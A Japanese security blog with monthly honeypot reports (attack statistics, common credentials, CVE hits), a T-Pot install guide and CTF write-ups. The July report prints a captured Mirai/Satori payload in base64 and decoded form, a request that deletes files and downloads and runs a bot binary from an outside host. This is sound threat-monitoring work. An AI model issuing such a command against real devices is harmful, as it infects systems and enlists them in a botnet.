Midnight Monologues

日々勉強したことを書いてきます

ハニーポット運用(月次報告:2020年8月)

今月のTopics

9月である。今年はBlack HatもSECCONもAVTokyoもCODEBLUEも全てオンライン開催だ。
改めて今年は特別な年になっていることを実感する。歴史を振り返った際に間違いなく2020年は記録に残る年になるだろう。
(オンラインで快適な自宅から参加できるのは有難いと思う。)

今月のChangelog

8月は無し。多分9月か10月あたりにまた更新がありそう?

前提条件

運用日時:2020年8月1日-2020年8月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Dionaea 4,605,510 △811,403
2 Cowrie 3,927,297 △885,780
3 Honeytrap 266,919 ▲122,871
4 Heralding 229,515 ▲212,388
5 Mailoney 88,444 △75,548
6 Rdpy 58,108 ▲9,208
7 Tanner 4,418 ▲585
8 Adbhoney 3,805 △220
9 Ciscoasa 1,745 ▲464
10 CitrixHoneypot 785 △212
11 ElasticPot 613 ▲300
12 ConPot 196 ▲26
13 Medpot 8 ▲1,501
  • Result
    • DionaeaやCowrieの件数が多いのはいつも通り。
    • Mailoneyの件数が増えているのが気になる。

SenderとRecieverで登録されているアドレスは以下の通り。
JPドメインは無かった。

filters eMail Address CNT
Sender spameri@tiscali.it 86
Sender iau@iau-aiu.net 40
Sender dfbiagent21@gmail.com 23
Sender dfbiagent@gmail.com 23
Sender test@comstar.ru 10
Sender sarverce@gmail.com 8
Sender amas@amasbrasil.org.br 6
Sender info@fbi.gov.org 6
Sender wwb441@163.com 6
Sender abbaghali135@yahoo.fr 5
Receiver spameri@tiscali.it 42
Receiver dfbiagent21@gmail.com 23
Receiver dfbiagent@gmail.com 23
Receiver iau@iau-aiu.net 20
Receiver abbaghali135@yahoo.fr 13
Receiver davjackson911@gmail.com 13
Receiver e.larryschur@gmail.com 13
Receiver ibepaul01@hotmail.com 13
Receiver test@comstar.ru 5
Receiver ReubenRashty@outlook.com 4

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,981,961 1(→)
2 Russia 950,028 2(→)
3 Vietnam 832,669 3(→)
4 China 529,778 4(→)
5 United States 441,063 8(↑)
6 Panama 412,552 7(↑)
7 India 363,473 6(↓)
8 Brazil 296,436 9(↑)
9 Indonesia 241,698 11(↑)
10 Venezuela 221,328 14(↑)
11 Germany 209,644 12(↑)
12 Japan 206,875 18(↑)
13 Turkey 183,885 17(↑)
14 Ukraine 161,519 10(↓)
15 Taiwan 142,886 16(↑)
16 Republic of Moldova 132,459 15(↓)
17 Thailand 130,126 19(↑)
18 Netherlands 119,737 4(↓)
19 Egypt 113,344 圏外(↑)
20 Pakistan 95,772 20(→)

上記の国別のアクセスにおけるPort番号の分布は以下の通り。 ※対象は上位10か国まで

No 攻撃元の国名 Port 件数
1 Ireland 22 263,104
1 Ireland 80 243,961
1 Ireland 443 213,572
1 Ireland 25 114,368
1 Ireland 5900 29,194
1 Ireland 587 20,088
1 Ireland 993 18,267
1 Ireland 43594 14,980
1 Ireland 465 8,276
1 Ireland 445 1,088
2 Russia 445 355,839
2 Russia 443 189,481
2 Russia 5900 79,634
2 Russia 80 48,204
2 Russia 22 44,798
2 Russia 25 8,862
2 Russia 25000 6,353
2 Russia 3389 5,990
2 Russia 993 3,369
2 Russia 465 1,552
3 Vietnam 445 813,093
3 Vietnam 1433 3,854
3 Vietnam 22 2,120
3 Vietnam 3389 2,011
3 Vietnam 25 382
3 Vietnam 23 146
3 Vietnam 8545 59
3 Vietnam 80 26
3 Vietnam 1194 25
3 Vietnam 65529 14
4 China 445 96,894
4 China 22 64,897
4 China 1433 20,612
4 China 25 5,957
4 China 80 1,065
4 China 3389 984
4 China 23 859
4 China 21 542
4 China 6379 379
4 China 65529 334
5 United States 5060 149,138
5 United States 445 63,261
5 United States 25 48,573
5 United States 21 27,142
5 United States 22 13,171
5 United States 3389 4,576
5 United States 1433 1,654
5 United States 23 1,579
5 United States 5432 816
5 United States 80 433
6 Panama 80 91,000
6 Panama 22 55,746
6 Panama 443 39,006
6 Panama 445 2,065
6 Panama 25 249
6 Panama 993 58
6 Panama 1433 36
6 Panama 143 33
6 Panama 995 26
6 Panama 5555 7
7 India 445 335,469
7 India 22 3,872
7 India 3389 1,739
7 India 1433 611
7 India 23 214
7 India 2323 123
7 India 47001 53
7 India 4369 41
7 India 8129 41
7 India 2123 40
8 Brazil 445 271,934
8 Brazil 22 3,415
8 Brazil 1433 1,101
8 Brazil 23 163
8 Brazil 2323 131
8 Brazil 80 68
8 Brazil 8080 56
8 Brazil 9530 44
8 Brazil 3389 41
8 Brazil 81 12
9 Indonesia 445 227,637
9 Indonesia 22 2,061
9 Indonesia 1433 644
9 Indonesia 23 56
9 Indonesia 8080 20
9 Indonesia 80 14
9 Indonesia 3389 10
9 Indonesia 4343 8
9 Indonesia 4443 7
9 Indonesia 1443 6
10 Venezuela 445 221,160
10 Venezuela 1433 27
10 Venezuela 22 11
10 Venezuela 23 7
10 Venezuela 8080 2
10 Venezuela 80 1
10 Venezuela 3311 1
10 Venezuela 4443 1
10 Venezuela 13026 1
10 Venezuela 14614 1
  • Result
    • 国別のアクセスポート数をみるとssh(22)やhttp(80)、smb(445)、RDP(3389)が多い。
    • SMTP(25)やVNC(5900)が多いのは昨今のリモートワークの流行に乗って、サーバからクライアントへ攻撃対象が遷移しているためと考えている。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 50,898
2 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 36
3 CVE-2020-11910 22
4 CVE-2020-8515 CVE-2020-8515 5
5 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 2
  • Result
    • Ripple20の攻撃が相変わらず多い。 1万件を下回ることが無いのは驚きである。
    • 新規の攻撃は無し。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 20)で記載する。
No ユーザ名 件数
1 root 302,087
2 admin 201,227
3 sa 12,699
4 user 11,386
5 support 10,367
6 nproc 2,688
7 22 1,894
8 postgres 1,286
9 test 968
10 ubuntu 873
11 sh 656
12 666666 502
13 oracle 398
14 enable 347
15 git 334
16 guest 324
17 ftpuser 320
18 deploy 314
19 administrator 312
20 mysql 224
  • Result
    • 先月から変更なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 20)を以下に記載する。
No パスワード 件数
1 admin 287065
2 & 79734
3 user 10716
4 support 10281
5 123456 5254
6 root 4874
7 password 3136
8 nproc 2688
9 12345678 1930
10 1593
11 123 1515
12 12345 1283
13 1234 1009
14 Password 694
15 aqweasdfgfdgfdh 651
16 ubnt 599
17 666666 592
18 123123 585
19 alpine 536
20 master 534
  • Result
    • 先月から変更なし

最後に

  • ElasticSearchのバージョンアップによりKibanaのTimeout時間が伸びた。その結果、Kibanaの管理画面にて大量データ検索時にもTimeoutエラーが出なくなった。
    運用を続けて、データが蓄積されるとKibanaのTimeoutエラーが頻発して運用影響があったので、これは非常にありがたい改善点だった。
  • 日本の神戸周辺のinfowebドメインの端末からのSatori botのアクセスは依然として続いている。
    そろそろIPAさんあたりに通報したほうがよかと?

ハニーポット運用(月次報告:2020年7月)

8月に入った。本来はオリンピック期間である。
8/1に関東も梅雨明けされた。このぐらいの涼しさであればオリンピックも快適に開催できたかもしれない。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

7月は無し。

前提条件

運用日時:2020年7月6日-2020年7月31日
運用期間:25日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先々月比
1 Dionaea 3,794,107 ▲864,338
2 Cowrie 3,041,517 △19,037
3 Heralding 441,903 ▲943,753
4 Honeytrap 389,790 ▲213,499
5 Rdpy 67,316 ▲1,106
6 Mailoney 12,896 ▲22,380
7 Tanner 5,003 ▲47
8 Adbhoney 3,585 △1,159
9 Ciscoasa 2,209 ▲219
10 Medpot 1,509 △535
11 ElasticPot 913 ▲313
12 CitrixHoneypot 573 -
13 ConPot 222 ▲151
  • Result
    • 先月より観測期間は減少しているがCowrieへの攻撃件数は増加していた。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,029,249 4(↑)
2 Russia 714,993 1(↓)
3 Vietnam 666,454 3(→)
4 China 636,493 2(↓)
5 Netherlands 535,002 圏外(↑)
6 India 302,099 7(↑)
7 Panama 294,041 13(↑)
8 United States 259,770 5(↓)
9 Brazil 246,462 8(↓)
10 Ukraine 227,893 16(↑)
11 Indonesia 227,659 9(↓)
12 Germany 205,315 圏外(↑)
13 France 175,639 14(↑)
14 Venezuela 167,362 11(↓)
15 Republic of Moldova 161,765 6(↓)
16 Taiwan 144,357 17(↑)
17 Turkey 143,415 15(↓)
18 Japan 117,070 12(↓)
19 Thailand 93,604 20(↓)
20 Pakistan 86,479 圏外(↑)
  • Result
    • アイルランド(1位)からのアクセスが優位に増えていた。何かキャンペーン的なものでもあったのだろうか?
    • ロシア(2位),ベトナム(3位),中国(4位)は相変わらず。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 44,678
2 CVE-2020-11910 161
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 32
4 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 26
5 CVE-2020-8515 CVE-2020-8515 14
  • Result
    • Ripple20の攻撃が今月も多かった。世界的に対策が進むまでは数か月はこの状態が続くと予想される。
    • 新規の攻撃は無し。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 20)で記載する。
No ユーザ名 件数
1 root 157,648
2 admin 75,347
3 user 21,645
4 support 16,588
5 sa 11,309
6 nproc 4,773
7 test 2,449
8 postgres 1,781
9 22 1,453
10 ubuntu 1,291
11 sh 1,075
12 enable 1,010
13 oracle 875
14 git 849
15 www 835
16 ftpuser 733
17 guest 635
18 deploy 524
19 mysql 490
20 nagios 438
  • Result
    • 先月から変更なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 20)を以下に記載する。
No パスワード 件数
1 admin 166,216
2 & 20,401
3 user 20,056
4 support 16,368
5 123456 16,042
6 password 5,459
7 123 4,916
8 nproc 4,773
9 12345678 3,016
10 12345 2,501
11 1234 2,339
12 1,997
13 1 1,218
14 system 1,096
15 shell 1,078
16 Password 1,011
17 123123 931
18 1q2w3e4r 856
19 qwerty 820
20 test 815
  • Result
    • 先月から変更なし

最後に

  • 相変わらずmirai botnetの攻撃は続いている。
◆payload:
R0VUIC9zaGVsbD9jZCsvdG1wO3JtKy1yZisqO3dnZXQrOTUuMjEzLjE2NS40My9iaW5zL1VuSEFuYUFXLmFybTc7IGNobW9kKzc3NytVbkhBbmFBVy5hcm03OyAuL1VuSEFuYUFXLmFybTcrU2Nvb3QuSi5TUiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogSGVsbG8sIHdvcmxkDQpIb3N0OiA5NS4yMTMuMTY1LjQzOjgwDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=

base64デコードすると以下になる。

GET /shell?cd+/tmp;rm+-rf+*;wget+95.213.165.43/bins/UnHAnaAW.arm7; chmod+777+UnHAnaAW.arm7; ./UnHAnaAW.arm7+Scoot.J.SR HTTP/1.1
User-Agent: Hello, world
Host: 95.213.165.43:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive

攻撃はLas Vegasからであり、Satoriの攻撃であった。
(※上記は一例であり、同様の攻撃は他の国からも受けている。)
http.http_user_agentHello, worldとなっており、分かりやすい。

同様のアクセスを他にも確認した。

input :
 /bin/busybox SATORI
ip_rep :
 known attacker
message :
 CMD: /bin/busybox SATORI

気になったのが日本の神戸周辺のinfowebドメインの端末からSatoriのアクセスがあったこと。
2020年06月23日(火)にinfowebドメインのメールアドレスは終了したと説明されていたが、
Satoriに感染してbotに参加している端末が一部残っているのかもしれない。

参考URL

お知らせ詳細「infowebドメインのメールアドレス終了のお知らせと設定変更について(2020年6月23日 終了しました)」|@niftyメール

ハニーポット構築(T-Pot : 20.06.0)

6/30 にT-Potのメジャーバージョンアップがあり、19.03.3→20.06.0へバージョンが更新された。
NexGenインストールで4か月検証した結果、満を持してリリースされたようだ。
今回はそのインストール手順と変更点を簡単に紹介する。

環境

・サーバ:さくらのVPS
  CPU:6CPU
  Memory:8 GB
  ストレージ:SSD 800 GB
  金額:
   ランニング費用:6400円×12か月・・・サーバ利用金額
・T-Pot:20.06.0
・プロキシ:使用しない
DHCP:使用しない
※色々あってサーバのスケールアップしている。またさくらのVPSはバックアップ機能が無いので利用継続が厳しいと感じています。近々AWS or Azureに変えるかもしれない。
※バージョン19.03.3とインストール手順はほぼ同じである。

構築

※今回もISOイメージからインストールする。

  • 以下のURLからT-potのISOイメージを取得する。(2020/7/10現在)
     ※バージョンによりインストール方法が全く異なるので、適宜読み替える。

github.com

  • さくらのVPSではsftpでisoイメージをマウントできるので、マウントする。
    ※このときVirtIOを有効にすると最初の再起動後からT-Potのインストール処理に進まないので、VirtIOを「無効にする」

  • インストールが開始するとdebian形式のインストーラが起動し、以下の処理が走る。
     debian OSのインストール →再起動(1回目)  →T-Potのインストール →再起動(2回目)

f:id:SYN-ACK:20200711121159j:plain

f:id:SYN-ACK:20191204231146j:plain

  • プロキシは空欄を指定する。

  • debianのインストールが完了すると、1回目の再起動が走る。

  • 再起動後にT-Potのインストールが開始する。
     ⇒今回は「STANDARD」を選択した。
     ※MEDICALのインストールタイプが増えている。

f:id:SYN-ACK:20200711121451j:plain

  • tsecユーザのパスワードを入力する。(確認を含め2回入力する。)

f:id:SYN-ACK:20191204231200j:plain

  • webユーザのユーザ名とパスワードを入力する。(確認を含め2回聞かれる。)

f:id:SYN-ACK:20191204231209j:plain

  • ユーザを入力後、T-Potのインストールが開始する。

f:id:SYN-ACK:20191204231223j:plain

  • インストール完了後に再起動が発生し、T-Potが起動する。

f:id:SYN-ACK:20200711121846j:plain

  • https://<IPアドレス>:64297Dashboardへアクセスする。
    19.03の時のようにKibanaの画面には遷移せずにツール一覧が表示される。
    色合いも明るい色調から暗い色調へ変更されている。Kibanaを選択する。

f:id:SYN-ACK:20200711122056j:plain

  • KibanaのDashbord画面が表示される。

f:id:SYN-ACK:20200711122753j:plain

  • 7/6以前にアップデートした際にLogstashの仕様変更でKibanaにログが取り込まれない現象が発生していた。7/7に本現象は解決され、現在はinstall.sh or update.sh共に改善されている。

github.com

  • [Monitoring]タブは最初停止している。起動させるとElasticsearchとKibanaの収集が開始する。
    ※[Logs]の箇所についてはFilebeatの設定が別途必要のようだ。

f:id:SYN-ACK:20200711125218j:plain

  • 新規に追加された機能としてはSecurityMeterがかなりイカしてる。
     (Twitterで「いいね」下さった皆様有難うございます。)

f:id:SYN-ACK:20200711123734j:plain

  • この後VirusTotal連携設定/nmap回避設定/iptables設定/logrotation設定を一通り実施した。
     今までの運用実績からErasticsearchのIndexの保存期間は45日がベストかと個人的には思う。
     (あまり長いとErasticsearchでの検索時にTimeoutが発生するため。)

入れた後の所感

・Dicompot(医療系)/Honeysap (SAPサービス)/Elasticpot(Elasticsearch)の
 ハニーポットが追加され、楽しみが増えました!!
・Elasticsearchのログ処理でFilebeatの設定が必要のようで、現在手順を確認中。
・全体的に暗い色調になり、ハッカーらしさが増した気がする...

最後に

・7/11は16時からTSG CTF2020が開催される。
 チーム参加するので16時からが楽しみ~。o(●´ω`●)oわくわく♪

score.ctf.tsg.ne.jp

・コロナウィルスの感染者が224人(7/10時点)と第2波の様相を呈している。
 まだまだ気は抜けなさそうだ。

amazon電子書籍セールで散財してしまった。お品書きはこちらです。
 - Elasticsearch実践ガイド impress top gearシリーズ
 - はじめて学ぶバイナリ解析
 - JavaScriptNinjaの極意

取り急ぎ、今日はここまで!!

ハニーポット運用(月次報告:2020年6月)

7月から会社通勤が再開しリモートワークが解除された。
フルタイム勤務になり本社通いが始まったので、ハニーポットの確認時間はかなり減っている。
取り敢えずコロナウィルスに感染して周りの人に迷惑が掛からないようにはしたい。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

6/30に大規模な変更があった。

  • T-Pot バージョン 20.06 のリリース
  • Debian10(buster)への対応
  • 新規ハニーポットの追加
    ・Dicompot(医療用プロトコルであるDICOMのハニーポット)
    ・Honeysap(SAP services用のハニーポット)
    ・Elasticpot(Elasticsearch用のハニーポット)
  • 最新のdockerイメージの対応
  • インストールタイプの変更
    ・NextGenインストール版ハニーポットのStandard版インストールへの対応
    ・Medicalインストール版(DicompotとMedpotを使った医療用インストールタイプ)の追加
  • Toolのアップデート
  • ランディングページの追加
  • 細かな微修正と改善の実施

前提条件

運用日時:2020年6月1日-2020年6月30日
運用期間:30日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先々月比
1 Dionaea 4,658,445 △373,090
2 Cowrie 3,022,480 ▲847,010
3 Heralding 1,385,656 ▲664,064
4 Honeytrap 603,289 △364,007
5 Rdpy 68,422 ▲3,612
6 Mailoney 35,276 △29,698
7 Tanner 5,050 ▲528
8 Ciscoasa 2,428 ▲458
9 Adbhoney 2,426 ▲1,371
10 ElasticPot 1,226 ▲351
11 Medpot 535 △530
12 ConPot 373 △259
  • Result
    • Dionaea、CowrieとHeraldingへの攻撃件数は先月と似たような数であった。
    • Mailoneyに対する攻撃が1.5倍ほど増えていた。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 1,630,567 1(→)
2 China 845,068 3(↑)
3 Vietnam 802,724 4(↑)
4 Ireland 539,702 2(↓)
5 United States 403,820 6(↑)
6 Republic of Moldova 350,902 7(↑)
7 India 339,744 11(↑)
8 Brazil 276,947 12(↑)
9 Indonesia 266,242 14(↑)
10 Bulgaria 224,977 9(↓)
11 Venezuela 223,218 13(↑)
12 Japan 211,063 8(↓)
13 Panama 207,289 5(↓)
14 France 192,224 15(↑)
15 Turkey 179,344 17(↑)
16 Ukraine 176,384 18(↑)
17 Taiwan 168,718 16(↓)
18 United Kingdom 133,384 19(↑)
19 Republic of Korea 124,154 圏外(↑)
20 Thailand 122,304 20(→)
  • Result
    • 全体の攻撃件数は10万件程、先月よりも増えている。
    • ロシア(1位),中国(2位),ベトナム(3位),アイルランド(4位),アメリカ(5位)と上位陣に大きな変更は無い。
    • 日本(12位),パナマ(13位)からの攻撃件数が10万件単位で減っている。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 11,425
2 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 36
3 CVE-2020-8515 CVE-2020-8515 25
4 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 7
  • Result
    • No1で新規攻撃を検知した。今まで多くて3桁台の検知数が最高だったため,5桁台の攻撃検知数はよほどよく狙われていることが分かる。
    • No1のCVE-2020-11899はTreck社が提供するTCP/IPスタックに関する脆弱性になる。リモートでサービス運用妨害 (DoS),情報漏洩,任意のコード実行の攻撃を受ける可能性がある。
    • 原著は脆弱性報告者のJSOF氏が記載したRipple20が元になっている。

www.jsof-tech.com

treck.com

https://kb.cert.org/vuls/id/257161

www.security-next.com


④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 20)で記載する。
No ユーザ名 件数
1 root 219,051
2 admin 80,430
3 sa 21,493
4 support 11,195
5 user 10,636
6 nproc 5,157
7 test 3,180
8 postgres 2,469
9 oracle 2,044
10 ubuntu 1,724
11 ubnt 1,135
12 tornado 1,009
13 sh 828
14 git 804
15 22 794
16 ftpuser 706
17 enable 669
18 guest 661
19 deploy 659
20 www 595
  • Result
    • 先月に続き、root(1位),admin(2位)などのサーバログイン用のユーザ名の攻撃件数が多い傾向があった。
    • MSSQLのデータベースよりもリモートワークで利用される端末やサーバなどの攻撃への攻撃が相変わらず多い。

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 20)を以下に記載する。
No パスワード 件数
1 admin 130,185
2 & 24,554
3 123456 12,461
4 support 11,008
5 user 8,088
6 password 6,850
7 12345678 5,568
8 nproc 5,157
9 123 4,143
10 root 2,405
11 12345 2,027
12 Password 1,989
13 ????? 1,970
14 1234 1,919
15 1,884
16 1q2w3e4r 1,438
17 ?????? 1,304
18 1 1,145
19 123123 903
20 1qaz2wsx 899
  • Result
    • 13位と17位に非可読性の文字列が設定されており、?で表示されている。どのような文字列でアクセスされていたかは確認しておきたい。
    • 先月観測されたmiraiの亜種に似たアクセス(/bin/busybox FBOT)は今月は観測されていなかった。

最後に

  • 今回の調査で印象的だったのはCVE-2020-11899の攻撃件数の多さである。通常(100件台)と比較すると10,000件台は有意に多い。(中の人も大興奮である。)
    このことは、より攻撃が狙いやすくかつ実行しやすい脆弱性であるためと考えられる。
  • Mirai亜種の攻撃は減少しており、日本国内で普及していない機器への攻撃は一過性の傾向と考えられそうだ。
  • T-Potのバージョンが19.03→20.06に更新されたため、近いうちにバージョンアップ予定。医療系セキュリティは脆弱性な部分が多いと感じていたので、Dicompotはかなり興味ある。
  • 緊急事態宣言は解除されたが、コロナウィルスの感染者は再度増加しており第2波の影響が懸念される。再度の休業要請がかかることはあり得るのだろうか?
  • 東京都知事選も終わり、来年のオリンピック開催に向けて(開催可否の判断も含めて)2020年後半は正念場の年になるだろう。

UUTCTF 2020 - Writeup

Participated in the UUTCTF2020 (Sat, 20 June 2020, 06:30 UTC - Mon, 22 June 2020 , 06:30 UTC). Describe the write-up in question.

Let Me In (web)

describe

Go inside the website and it will show you the flag.

URL: http://185.206.93.66:800/

writeup

Access the specified URL. If basic authentication is used under /auth and the correct username and password are entered, the user will be asked to enter The version of nginx is slightly old, 1.14.0.

# curl http://185.206.93.66:800/
<center>
<h1> hello </h1>
 <h2> if you want flag you must pass <a href="http://185.206.93.66:800/auth">this</a> auth ! </h2>
 <h3> It depends on your curiosity </h3>
</center>
# curl http://185.206.93.66:800/auth
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

If you check the -v option of curl, it responds with the basic authentication username and password.

# curl -v http://185.206.93.66:800/
*   Trying 185.206.93.66:800...
* TCP_NODELAY set
* Connected to 185.206.93.66 (185.206.93.66) port 800 (#0)
> GET / HTTP/1.1
> Host: 185.206.93.66:800
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 20 Jun 2020 18:18:22 GMT
< Content-Type: text/html
< Content-Length: 176
< Last-Modified: Mon, 01 Jun 2020 17:29:20 GMT
< Connection: keep-alive
< ETag: "5ed53af0-b0"
< username: corona
< password: ihateyoucorona
< Accept-Ranges: bytes
< 
<center>
<h1> hello </h1>
 <h2> if you want flag you must pass <a href="http://185.206.93.66:800/auth">this</a> auth ! </h2>
 <h3> It depends on your curiosity </h3>
</center>
* Connection #0 to host 185.206.93.66 left intact

Enter username (corona) and password (ihateyoucorona) to see a flag.

# curl -H 'Authorization: Basic Y29yb25hOmloYXRleW91Y29yb25h' http://185.206.93.66:800/auth
UUTCTF{I_J45T_H4T3_C0R0NA}
flag:UUTCTF{I_J45T_H4T3_C0R0NA}

Collect the Onions (misc)

※After the tournament, the tournament organizer carefully taught me how to solve the puzzles. Thank you very much for your help.

description

Collect the onions from this hidden service!

Address: http://lyrtt5cc2mfixd5f.onion

writeup

Access the URL specified in the problem statement from the Tor network. (The Tor browser is used.)

The flag is divided into four parts and you need to collect four of them.

Part1

After establishing tor routing, you can use the torify command to access the home page, and you will see the first flag. The first part is: UUTCTF{0N10N

 torify curl http://lyrtt5cc2mfixd5f.onion/
<!DOCTYPE html>
<html lang="en">
<title>COLLECT THE ONIONS</title>
<meta charset="UTF-8">
<link rel="icon" type="image/png" href="img/logo.png"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
    body, h1, h2, h3, h4, h5, h6 {
        font-family: "Lato", sans-serif;
    }

    body, html {
        height: 100%;
        color: #777;
        line-height: 1.8;
    }

    .bgimg-1 {
        background-attachment: fixed;
        background-position: center;
        background-repeat: no-repeat;
        background-size: cover;
    }

    .bgimg-1 {
        background-image: url('img/red.jpg');
        min-height: 100%;
        filter: blur(5px);

    }

    .w3-wide {
        letter-spacing: 10px;
    }


    @media only screen and (max-device-width: 1600px) {
        .bgimg-1 {
            background-attachment: scroll;
            min-height: 400px;
        }
    }
</style>
<body>

<div class="bgimg-1 w3-display-container w3-opacity-min" id="home">
</div>

<div class="w3-display-middle" style="white-space:nowrap">


    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="width: 150px ;height: 140px; margin: 100px; padding: 5px !important;
    display: inline-block;">
      <img src="img/p0scon1.png" width="100px">
    </span>
    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="width: 150px; height: 140px; margin: 100px;
    display: inline-block;">
      <img src="img/unnamed.png" width="100px">
    </span>
    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="width: 150px; height: 140px; margin: 100px;
    display: inline-block;">
      <img src="img/logo.png" width="100px">
    </span>
    <br>
    <br>
    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="margin-left: 460px;">
      <img src="img/Scroll-White-1.gif" width="100px">
    </span>
    <br>
    <br>
    <br>
    <span class="w3-center w3-padding-large w3-black w3-xlarge w3-wide w3-animate-opacity" style="margin-left: 300px;">COLLECT THE ONIONS</span>

</div>

<div class="w3-content w3-container w3-padding-64" id="about">
    <h3 class="w3-center">Collect the Onions</h3>
    <p class="w3-center"><em>I love ONIONS</em></p>

    <p>Find the four parts, merge them, make the flag! Happy collecting!</p>
    <p>The first part is: UUTCTF{0N10N</p>

</div>
</body>
</html>
Part2

The second flag is listed in the comments section when you access a different server than the one on which the first flag is listed.

# torify curl http://lyrtt5cc2mfixd5f.onion/
<!DOCTYPE html>
<html lang="en">
<title>COLLECT THE ONIONS</title>
<meta charset="UTF-8">
<link rel="icon" type="image/png" href="img/logo.png"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
    body, h1, h2, h3, h4, h5, h6 {
        font-family: "Lato", sans-serif;
    }

    body, html {
        height: 100%;
        color: #777;
        line-height: 1.8;
    }

    .bgimg-1 {
        background-attachment: fixed;
        background-position: center;
        background-repeat: no-repeat;
        background-size: cover;
    }

    .bgimg-1 {
        background-image: url('img/red.jpg');
        min-height: 100%;
        filter: blur(5px);

    }

    .w3-wide {
        letter-spacing: 10px;
    }


    @media only screen and (max-device-width: 1600px) {
        .bgimg-1 {
            background-attachment: scroll;
            min-height: 400px;
        }
    }
</style>
<body>

<div class="bgimg-1 w3-display-container w3-opacity-min" id="home">
</div>

<div class="w3-display-middle" style="white-space:nowrap">


    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="width: 150px ;height: 140px; margin: 100px; padding: 5px !important;
    display: inline-block;">
      <img src="img/p0scon1.png" width="100px">
    </span>
    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="width: 150px; height: 140px; margin: 100px;
    display: inline-block;">
      <img src="img/unnamed.png" width="100px">
    </span>
    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="width: 150px; height: 140px; margin: 100px;
    display: inline-block;">
      <img src="img/logo.png" width="100px">
    </span>
    <br>
    <br>
    <span class="w3-center w3-padding-large w3-xlarge w3-wide w3-animate-opacity" style="margin-left: 460px;">
      <img src="img/Scroll-White-1.gif" width="100px">
    </span>
    <br>
    <br>
    <br>
    <span class="w3-center w3-padding-large w3-black w3-xlarge w3-wide w3-animate-opacity" style="margin-left: 300px;">COLLECT THE ONIONS</span>

</div>

<div class="w3-content w3-container w3-padding-64" id="about">
    <h3 class="w3-center">Collect the Onions</h3>
    <p class="w3-center"><em>I love ONIONS</em></p>

    <p>Find the four parts, merge them, make the flag! Happy collecting!</p>
    <!-- wanna 2nd part? HERE it is: _H1DD3N -->

</div>
</body>
</html>
Part3

If you check the header, there is a third flag.

X-Part3: _S3RV3RS
Part4

If you check robots.txt, there is a flag.

Part 4  is: _R0CK}
flag:UUTCTF{0N10N_H1DD3N_S3RV3RS_R0CK}

HSCTF 7 - Writeup

月, 01 6月 2020, 12:00 UTC — 土, 06 6月 2020, 00:00 UTCに開催されたHSCTF 7 に個人で参加した。 Web問題を全完+beginners問題を幾つか解いたので以下にWriteupを記載する。

Miscellaneous

Does CTFd Work

welcome問題。問題文にflagが記載されている。

